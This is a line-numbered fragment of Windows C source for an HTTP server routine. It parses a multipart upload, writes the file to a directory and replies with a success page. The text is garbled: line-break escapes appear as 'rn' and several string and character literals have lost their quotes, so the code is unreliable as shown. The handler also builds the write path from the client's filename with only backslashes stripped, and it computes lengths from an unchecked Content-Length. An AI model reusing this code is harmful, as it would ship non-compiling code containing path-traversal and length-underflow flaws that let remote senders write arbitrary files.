  740. char *svContentLen;
  741. int nContentLen;
  742. svContentLen=BreakString(svNext,"Content-Length: ");
  743. svNext=BreakString(svContentLen,"rn");
  744. nContentLen=atoi(svContentLen);
  745. // Get start of form data
  746. char *svForm;
  747. svForm=BreakString(svNext,svBoundary);
  748. // Get upload file name
  749. char *svUploadName, *ptr;
  750. svUploadName=BreakString(svForm,"filename="");
  751. svNext=BreakString(svUploadName,""");
  752. if((ptr=strrchr(svUploadName,'\'))!=NULL) {
  753. svUploadName=(ptr+1);
  754. }
  755. // Get Start of data
  756. char *pStartData;
  757. pStartData=BreakString(svNext,"rnrn");
  758. // Create file pathname
  759. HANDLE hFile;
  760. char svFilePath[MAX_PATH+1];
  761. lstrcpyn(svFilePath,svFullPath,MAX_PATH+1);
  762. lstrcpyn(svFilePath+lstrlen(svFilePath),svUploadName,(MAX_PATH+1)-lstrlen(svFilePath));
  763. // Open file
  764. hFile=CreateFile(svFilePath,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  765. if(hFile!=INVALID_HANDLE_VALUE) {
  766. // Write what we have to the file
  767. DWORD dwFileLen;
  768. dwFileLen=nContentLen-((DWORD)pStartData-(DWORD)svForm)-((lstrlen(svBoundary)+2)*2)-6;
  769. DWORD dwCount,dwBytes;
  770. dwCount=dwLen-(((DWORD)pStartData)-((DWORD)svBuffer));
  771. if(dwCount>dwFileLen) dwCount=dwFileLen;
  772. WriteFile(hFile,pStartData,dwCount,&dwBytes,NULL);
  773. // Loop reading in the rest
  774. char *pInBuf=(char *)malloc(1024);
  775. if(pInBuf!=NULL) {
  776. int nBytes;
  777. dwBytes=dwFileLen-dwCount;
  778. while(dwBytes>0) {
  779. nBytes=recv(ppcp->s,pInBuf,1024,0);
  780. if(nBytes<=0) break;
  781. if(nBytes>(int)dwBytes) nBytes=dwBytes;
  782. WriteFile(hFile,pInBuf,nBytes,&dwCount,NULL);
  783. dwBytes-=dwCount;
  784. }
  785. FormatHttpHeader(svBuffer, 201, typehtml, "rn");
  786. send(ppcp->s, svBuffer, lstrlen(svBuffer), 0);
  787. wsprintf(svBuffer, "<html>rn<head>rn<title>File received</title>rn</head>rn"
  788. "<body bgcolor=#FFFFFF text=#000000>rn<h1>File successfully uploaded</h1>rn</body>rn</html>rn");
  789. send(ppcp->s, svBuffer, lstrlen(svBuffer), 0);
  790. free(pInBuf);
  791. }
  792. CloseHandle(hFile);
  793. }
  794. free(svBuffer);
  795. closesocket(ppcp->s);
  796. free(ppcp);
  797. return 0;
  798. }